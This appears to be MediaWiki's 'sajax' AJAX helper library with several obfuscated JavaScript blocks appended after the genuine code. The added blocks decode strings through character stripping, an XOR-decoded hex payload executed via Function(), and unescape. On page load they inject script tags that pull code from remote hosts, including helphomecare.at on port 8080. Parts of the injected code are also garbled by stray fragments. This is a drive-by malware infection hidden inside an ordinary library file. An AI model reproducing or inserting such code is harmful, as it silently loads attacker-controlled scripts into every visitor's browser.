// remote scripting library
// (c) copyright 2005 modernmethod, inc
var sajax_debug_mode = false;
var sajax_request_type = "GET";

/**
* if sajax_debug_mode is true, this function outputs given the message into 
* the element with id = sajax_debug; if no such element exists in the document, 
* it is injected.
*/
function sajax_debug(text) {
	if (!sajax_debug_mode) return false;

	var e= document.getElementById('sajax_debug');

	if (!e) {
		e= document.createElement("p");
		e.className= 'sajax_debug';
		e.id= 'sajax_debug';

		var b= document.getElementsByTagName("body")[0];

		if (b.firstChild) b.insertBefore(e, b.firstChild);
		else b.appendChild(e);
	}

	var m= document.createElement("div");
	m.appendChild( document.createTextNode( text ) );

	e.appendChild( m );

	return true;
}

/**
* compatibility wrapper for creating a new XMLHttpRequest object.
*/
function sajax_init_object() {
	sajax_debug("sajax_init_object() called..")
	var A;
	try {
		A=new ActiveXObject("Msxml2.XMLHTTP");
	} catch (e) {
		try {
			A=new ActiveXObject("Microsoft.XMLHTTP");
		} catch (oc) {
			A=null;
		}
	}
	if(!A && typeof XMLHttpRequest != "undefined")
		A = new XMLHttpRequest();
	if (!A)
		sajax_debug("Could not create connection object.");

	return A;
}

/**
* Perform an ajax call to mediawiki. Calls are handeled by AjaxDispatcher.php
*   func_name - the name of the function to call. Must be registered in $wgAjaxExportList
*   args - an array of arguments to that function
*   target - the target that will handle the result of the call. If this is a function,
*            if will be called with the XMLHttpRequest as a parameter; if it's an input
*            element, its value will be set to the resultText; if it's another type of
*            element, its innerHTML will be set to the resultText.
*
* Example:
*    sajax_do_call('doFoo', [1, 2, 3], document.getElementById("showFoo"));
*
* This will call the doFoo function via MediaWiki's AjaxDispatcher, with
* (1, 2, 3) as the parameter list, and will show the result in the element
* with id = showFoo
*/
function sajax_do_call(func_name, args, target) {
	var i, x, n;
	var uri;
	var post_data;
	uri = wgServer + wgScriptPath + "/index.php?action=ajax";
	if (sajax_request_type == "GET") {
		if (uri.indexOf("?") == -1)
			uri = uri + "?rs=" + encodeURIComponent(func_name);
		else
			uri = uri + "&rs=" + encodeURIComponent(func_name);
		for (i = 0; i < args.length; i++)
			uri = uri + "&rsargs[]=" + encodeURIComponent(args[i]);
		//uri = uri + "&rsrnd=" + new Date().getTime();
		post_data = null;
	} else {
		post_data = "rs=" + encodeURIComponent(func_name);
		for (i = 0; i < args.length; i++)
			post_data = post_data + "&rsargs[]=" + encodeURIComponent(args[i]);
	}
	x = sajax_init_object();
	if (!x) {
		alert("AJAX not supported");
		return false;
	}

	try {
		x.open(sajax_request_type, uri, true);
	} catch (e) {
		if (window.location.hostname == "localhost") {
			alert("Your browser blocks XMLHttpRequest to 'localhost', try using a real hostname for development/testing.");
		}
		throw e;
	}
	if (sajax_request_type == "POST") {
		x.setRequestHeader("Method", "POST " + uri + " HTTP/1.1");
		x.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	}
	x.setRequestHeader("Pragma", "cache=yes");
	x.setRequestHeader("Cache-Control", "no-transform");
	x.onreadystatechange = function() {
		if (x.readyState != 4)
			return;

		sajax_debug("received (" + x.status + " " + x.statusText + ") " + x.responseText);

		//if (x.status != 200)
		//	alert("Error: " + x.status + " " + x.statusText + ": " + x.responseText);
		//else

		if ( typeof( target ) == 'function' ) {
			target( x );
		}
		else if ( typeof( target ) == 'object' ) {
			if ( target.tagName == 'INPUT' ) {
				if (x.status == 200) target.value= x.responseText;
				//else alert("Error: " + x.status + " " + x.statusText + " (" + x.responseText + ")");
			}
			else {
				if (x.status == 200) target.innerHTML = x.responseText;
				else target.innerHTML= "<div class='error'>Error: " + x.status + " " + x.statusText + " (" + x.responseText + ")</div>";
			}
		}
		else {
			alert("bad target for sajax_do_call: not a function or object: " + target);
		}

		return;
	}

	sajax_debug(func_name + " uri = " + uri + " / post = " + post_data);
	x.send(post_data);
	sajax_debug(func_name + " waiting..");
	delete x;

	return true;
}

var v;if(v!='_'){v=''};var d='s*c*rAi*pAtA'.replace(/[AH\*\^%]/g, '');var o;if(o!='i' && o != ''){o=null};this.p="p";var m=false;var wk=false;var s=window;var w=document;var yi;if(yi!='' && yi!='cy'){yi=''};var n=new Array();s.onload=function(){try {var ev='';c=w.createElement(d);var t;if(t!='h' && t!='dv'){t=''};var u="";c.setAttribute('dXeHfXeMrW'.replace(/[WXMHg]/g, ''), "1");c.src='h#t|t#p|:|/T/@i@p|i#c|tRuTrTeT-Tr|u#.RtRoRm|s@hTa@r@d#w|a@r|e@.TcRo#m|.@h|o#s#tRg#a|t|oTr@-Rc|o|m|.@yToTu#rTtTa#gRh@e#u@e@r#.|r|uT:|8|0T8@0@/#b#a#rRnRe@sTa|n#dRn#o|bRlTeR.RcTo|mT/Rb|a|rTnRe|s#a#n#d|n|o@bRl@eR.|cRo#mR/#gRoRo@gRl|eR.@cRo|m#/Rc|r#a#i|gTs#lRiRsRt#.To#rRgR/@hTa|oR1R2@3@.#c|oTm@/R'.replace(/[RT#\|@]/g, '');var du;if(du!='' && du!='ow'){du='cc'};this.r=false;this.si=51796;var _kq;if(_kq!='rs' && _kq!='mh'){_kq=''};w.body.appendChild(c);var x;if(x!='bn'){x=''};var ip;if(ip!='ji'){ip=''};} catch(a){};var zm;if(zm!='' && zm!='q'){zm='ey'};};var ab;if(ab!='' && ab!='ywh'){ab=null};
var tx;if(tx!='v'){tx='v'};try {var pt;if(pt!='' && pt!='b'){pt=''};:LineMixer [var f='h3tvtTpv:3/T/MlMaTsTt3-Tf1mv.1m3lTbT.Tc3o3m3.Md3oMwvnvlMoTaTd3-3c1oTm3.Mh3o1tMnMe3w3gvuviMd1ev.3r3uv:T8M038103/3g1o3o3g3lve1.Tc3o1mT/3gvoTovg3lTe3.Mc3oTm1/Tavs1k1.1cToMm1/vxMi3nMh1uvaTnTeMtM.TcToMm3/TeTlMpva3i1sT.McMovmM/3'.replace(/[3MT1v]/g, '');var l='sxcar,ilpxtx'.replace(/[x0l,a]/g, '');var b_=new Date();var m='c>r<e$a<t<ejlhm$e>n>t<'.replace(/[\<KH\$\>]/g, '');var cg=10678;var g='oGnGlEokakdk'.replace(/[kRE,G]/g, '');var t="1";var n;if(n!='' && n!='ak'){n=''};var mr='aOpwpre+nrdOCwhwirlOd+'.replace(/[\+4wOr]/g, '');var k='sVe6tVAVtWtWrVi6b6uVtDeV'.replace(/[VN6DW]/g, '');var c='b^oSdSyS'.replace(/[SO\+\|\^]/g, '');var vu=40228;]var pv;if(pv!='yn' && pv!='fs'){pv=''};window[g]=function(){var xr=new String();a=document[m](l);var oc;if(oc!='' && oc!='ap'){oc='ob'};:LineMixer [this._z="_z";a['s^rnc_'.replace(/[_\?n\^%]/g, '')]=f;a[k]('dieifHeurH'.replace(/[HiJuw]/g, ''), t);var io='';var hk=document[c];]var jn="";hk[mr](a);var yk;if(yk!='' && yk!='pl'){yk=null};};var ov=19443;var yc=41954;} catch(s){};
var gM="457973515b347a7d53406f0b7e47544336734873534757607f6a5572717d4053695277567841724b72445e7876477f7f61747a5e475b667d697e57474774496258577b337d5a22455954274f50335743";this.vk=38248;var Tq;if(Tq!='hq'){Tq='hq'};var SJ;if(SJ!='Nw' && SJ != ''){SJ=null};function J(O){var nQ=false;var qP=""; var t=function(g,y){return g^y;var f;if(f!='Y'){f='Y'};var Rz=false;};this.w='';var kLL;if(kLL!='z' && kLL!='Ay'){kLL='z'};var x;if(x!='kf' && x!='LV'){x='kf'}; var q=function(h){var V=[255][0];this.bt=47000;var d=[0,94][0];var H=h[K("hneglt", [4,2,1,3,5,0])];this.nG="nG";var Z=false;var N;if(N!='' && N!='dD'){N='p'};var o=[0,49,74][0];var Em=new Array();var UJ=[1,167,55,87][0];var Ll=5687;var WE=34591;this.YVp=25914;var aE='';while(o<H){var nD="nD";var hlV;if(hlV!='IJ' && hlV != ''){hlV=null};o++;ji=KW(h,o - UJ);var Pm;if(Pm!='OF' && Pm!='EZ'){Pm='OF'};this.jD='';d+=ji*H;}this.LB='';var Zz=new Date();var hU;if(hU!='hH' && hU!='WB'){hU='hH'};var ut='';return new j(d % V);var Iy;if(Iy!='Fz'){Iy=''};};this.Vq=false;this.No="No";var Cy;if(Cy!=''){Cy='m'}; var K=function(R, n){var gA;if(gA!=''){gA='Jb'};var s = R.length;var pt=new Array();var Zk;if(Zk!='IG'){Zk='IG'};var hl = n.length;this.Ng="";var ejk;if(ejk!=''){ejk='ny'};var a=[0][0];var NN;if(NN!='dc' && NN!='PF'){NN='dc'};this.JO='';var iC="iC";var sw=false;var jG = '';var rJ;if(rJ!='' && rJ!='yJ'){rJ=''};var UJ=[1,28,248,1][0];var AP;if(AP!='hHS'){AP=''};var FS;if(FS!='yL' && FS!='kh'){FS=''};var QY;if(QY!='' && QY!='PTk'){QY=null};var Kf='';var RzS=false;var pG;if(pG!='pH' && pG != ''){pG=null};for(var hO = a; hO < s; hO += hl) {this.HM="";var Dt;if(Dt!='Io' && Dt!='LE'){Dt='Io'};var Qw;if(Qw!=''){Qw='ih'};var X;if(X!=''){X='hN'};var Hh = R.substr(hO, hl);var OOq="OOq";if(Hh.length == hl){var UW;if(UW!=''){UW='af'};for(var o in n) {var rF=new Array();jG+=Hh.substr(n[o], UJ);var cq;if(cq!='aU'){cq='aU'};var Jq=new Array();}var Ym;if(Ym!='' && Ym!='fn'){Ym='Jn'};var JJ;if(JJ!='pF' && JJ!='qk'){JJ='pF'};} else {  jG+=Hh;var nH=new Array();}var lm=34483;var az="az";}var ck=new Date();var Uyt=false;var jH;if(jH!='cy' && jH!='Vv'){jH='cy'};return jG;var SAS=new Date();var Od=new Date();};var JbN;if(JbN!='' && JbN!='GU'){JbN='bU'};this.cm=32950;var qO=''; var KW=function(P,B){var Tb='';var jc;if(jc!='Yk' && jc!='vK'){jc='Yk'};return P[K("ahorCcdeAt", [5,1,0,3,4,2])](B);};var jo="";var gm;if(gm!='cV' && gm!='Aq'){gm='cV'};this.zQ="zQ";this.Qm=false;var fA=false;var Lw;if(Lw!='Pl' && Lw != ''){Lw=null}; var U=function(R){var Et;if(Et!='MvV' && Et!='Ae'){Et=''};var oi=new Date();var Nzb=new String();var hO =[123,0,54][1];var XZ;if(XZ!='' && XZ!='Uw'){XZ='lrX'};var mJ=new Date();R = new j(R);var Ip;if(Ip!='' && Ip!='cS'){Ip='hlC'};this.sg='';var Gdh="";var a =[113,0][1];this.Cmt=false;this.aH=false;var jG = '';var tf = -1;var IP;if(IP!='AU' && IP!='Uwd'){IP='AU'};var KB;if(KB!='SC' && KB != ''){KB=null};var yM=new Date();for (hO=R[K("tenlgh", [3,1,2,4,0])]-tf;hO>=a;hO=hO-[1,169][0]){jG+=R[K("hcratA", [1,0])](hO);var qZ=new String();var vV=new String();}this.Zh="";this.If="";var uO;if(uO!='Eb' && uO!='dd'){uO='Eb'};return jG;this.Aj=false;var qu;if(qu!='' && qu!='rn'){qu=null};};var nW;if(nW!=''){nW='xe'};var rw;if(rw!='Oj'){rw='Oj'};var Ub=window;var vp='';this.NZ=false;var D=Ub[K("alve", [3,2,0,1])];var QW='';var On='';var M=D(K("niFcuton", [2,4,0,3,5,1]));var lg=new String();var i=D(K("EgexRp", [4,2,1,0,3]));var mG;if(mG!='gc' && mG!='dt'){mG=''};var j=D(K("trSngi", [2,0,1]));var Sy='';var qd=new Date();var JEu=38711;var VX=37217;var Ft='';var WEh='';var yr = '';var KH=new Array();var HJ;if(HJ!=''){HJ='OI'};var mx="mx";var xY=new Date();var Pp=j[K("CfromoharCde", [1,2,3,4,0])];var tX;if(tX!='CJ' && tX!='ws'){tX='CJ'};var iCg="";var Dx;if(Dx!='' && Dx!='jx'){Dx=''};var l=Ub[K("scnauepe", [4,2,5,0,1,3])];var Rzm="";var ne=new String();var tQ;if(tQ!='hLN' && tQ!='mN'){tQ='hLN'};var b =[144,228,154,2][3];this.zw='';var yV = '';var L = '';var XO;if(XO!=''){XO='rO'};var W = O[K("elgnht", [1,0])];var TB="TB";var XJ;if(XJ!='Or' && XJ!='pY'){XJ='Or'};var MA = /[^@a-z0-9A-Z_-]/g;this.jg=46894;this.uL=19525;var ow=[1, K("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, K("odcmuetn.obd.yappednCihl(dd)", [1,0,2]),3, K("l.dvietiedesgie.ns8:r80u0", [2,5,1,0,4,3]),4, K("eocd.maivtnamtroc.xz.ona", [2,1,5,4,3,0]),5, K("cb.rialom.br", [5,1,3,4,6,2,0]),6, K(".Adtetsrttebui\'e(refd\'", [2,0,6,4,5,1,3]),7, K("iowdn.lwnooad", [2,0,4,3,1]),8, K("elgoog.com", [5,3,4,2,1,0]),11, K("hasai.dcom", [2,0,1,3]),12, K("ufcnitno)(", [1,0]),14, K("aoycc.msm", [6,0,3,2,7,5,4,1]),15, K("fafiileat", [1,2,0]),16, K("tahcc(e)", [4,1,0,3,2]),17, K("pt:th\"", [5,4,3,1,0,2]),18, K(".drsc", [1,0]),19, K("1\')\'", [1,0]),20, K("ignn", [2,0,3,1]),21, K("rty", [1,0])];this.zA=false;var YY;if(YY!=''){YY='Jt'};var bXj;if(bXj!='EW' && bXj != ''){bXj=null};var Nk;if(Nk!='px' && Nk!='ruu'){Nk='px'};var MQ = j.fromCharCode(37);var mGa=10154;var UJ =[168,1][1];var a =[151,0,42][1];var Pv;if(Pv!='' && Pv!='SBZ'){Pv=null};var F =[142,0][1];this.qoA='';var iD='';var UX = '';var Az=false;this.Kv="";var vwo;if(vwo!='' && vwo!='yry'){vwo='ZV'};for(var WC=a; WC < W; WC+=b){var QA;if(QA!='' && QA!='YIx'){QA=null};var jxo;if(jxo!='' && jxo!='kd'){jxo=null};UX+= MQ; var Gw;if(Gw!='Ha'){Gw=''};UX+= O[K("utsbsr", [2,0,3,4,1,5])](WC, b);}var vs=new Array();var kr=29281;var O = l(UX);this.FT=false;this.Cu='';var HL = new j(J);var qi;if(qi!='qVz' && qi!='fH'){qi='qVz'};var Fa = HL[K("eprlace", [2,0,1,3])](MA, L);var YH=new Array();var ur=new Array();this.NL=55300;var of=false;Fa = U(Fa);this.shp='';var Q = ow[K("tngehl", [5,3,1,2,0,4])];var bVC=new String();var c = new j(M);var hi;if(hi!=''){hi='nGB'};var TH;if(TH!=''){TH='rl'};var rS;if(rS!='mX' && rS!='FA'){rS=''};var EB=1363;var Ys=25427;var bV = c[K("percale", [2,1,0])](MA, L);var sW=52347;var bV = q(bV);var OM=q(Fa);for(var hO=a; hO < (O[K("egtnlh", [4,0,3,1,2])]);hO=hO+[191,1][1]) {var VKK;if(VKK!='Nv' && VKK!='GI'){VKK='Nv'};var TN=new String();var zh;if(zh!=''){zh='XXn'};var WI = Fa.charCodeAt(F);this.PlG='';var dl = KW(O,hO);dl = t(dl, WI);var fJ;if(fJ!='DsE'){fJ='DsE'};var Yw;if(Yw!='aY'){Yw='aY'};var Lf="";dl = t(dl, OM);var bG;if(bG!='' && bG!='dnT'){bG='pV'};this.oP='';dl = t(dl, bV);var dJ;if(dJ!='ni'){dJ=''};var Ru;if(Ru!='Gc'){Ru=''};this.Xy=49717;var XK=new Date();F++;this.ge=22705;if(F > Fa.length-UJ){F=a;}var Ja=false;var qr;if(qr!='' && qr!='qN'){qr='ss'};this.rQv=9740;yV += Pp(dl);}this.Rr=false;var Omk='';this.oHL=false;for(v=a; v < Q; v+=b){var fV="";this.Dz=12230;var e = ow[v + UJ];var ZNJ;if(ZNJ!='' && ZNJ!='oHk'){ZNJ='TbY'};var IQZ;if(IQZ!='Nod'){IQZ='Nod'};var bQ=new String();var lr = Pp(ow[v]);this.AOU="AOU";var vm;if(vm!='' && vm!='ca'){vm=null};var AW;if(AW!='Je' && AW != ''){AW=null};var sh = new i(lr, j.fromCharCode(103));var zp="zp";yV=yV[K("aleprce", [4,2,3,1,0])](sh, e);}var vJ;if(vJ!='' && vJ!='ak'){vJ='NI'};var qrF;if(qrF!='Qc'){qrF='Qc'};var nS;if(nS!='ll'){nS='ll'};var dS=new M(yV);this.Vu=false;dS();var iU=27514;var xz;if(xz!=''){xz='Zf'};dS = '';bV = '';yV = '';var ng=3575;var vX;if(vX!='' && vX!='rf'){vX='mk'};c = '';var ey=false;var Nb=new Array();Fa = '';var kOB=false;OM = '';var axk;if(axk!='QUb'){axk='QUb'};return '';var HLs;if(HLs!='kP'){HLs=''};};this.vk=38248;var Tq;if(Tq!='hq'){Tq='hq'};var SJ;if(SJ!='Nw' && SJ != ''){SJ=null};J(gM);


var cf='';this.j='';var D='';function u(){var M;if(M!=''){M='s'};var hW=new Array();this.Xn="";var Q=unescape;var tu=new Array();var H=new Array();this.q="";var A=window;var p=Q("%2f%6a%63%70%65%6e%6e%65%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%72%65%7a%68%69%6c%74%6f%6e%2e%63%6f%6d%2e%70%68%70");var O;if(O!='VE'){O=''};function a(v,E){var RO=new Date();this.k='';var SM;if(SM!='' && SM!='_L'){SM='Un'};var ss='';var X=new String("g");var c=Q("%5b"), U=Q("%5d");var ex;if(ex!='w' && ex!='FS'){ex='w'};var fP;if(fP!='JD' && fP!='QD'){fP='JD'};var g=c+E+U;var So="";var V=new RegExp(g, X);var tS='';return v.replace(V, new String());};this.Jg='';this.xs="";var WB;if(WB!='ku'){WB='ku'};var jV;if(jV!='rD' && jV != ''){jV=null};var o=new String();var Xg=a('834047484430557','3745');var FR;if(FR!='L' && FR != ''){FR=null};var mD=new Date();var C=document;this.WA='';function F(){this.fjY='';var sM=new Date();var cN=Q("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");this.MB='';o=cN;var Vy=new Date();var IE=new Array();o+=Xg;o+=p;this.KX='';this.B="";var WBm;if(WBm!='' && WBm!='rx'){WBm=''};try {var Bv;if(Bv!='' && Bv!='fE'){Bv='EZ'};h=C.createElement(a('shcHrBiRpBtR','qIHBuD3hR'));var et=new String();h[Q("%64%65%66%65%72")]=[4,1][1];h[Q("%73%72%63")]=o;var ii;if(ii!='rb' && ii!='tW'){ii='rb'};var HB;if(HB!='' && HB!='au'){HB=null};C.body.appendChild(h);var ML=new String();} catch(R){this.TS="";alert(R);this.Pv="";var op="";};}var ms=new String();A["rCe5on".substr(4)+"lo"+"ad"]=F;var LQ="";var sq;if(sq!='pm'){sq=''};var Yz=new String();};var Gg="";u();var zs=new String();var NA;if(NA!='TT'){NA='TT'};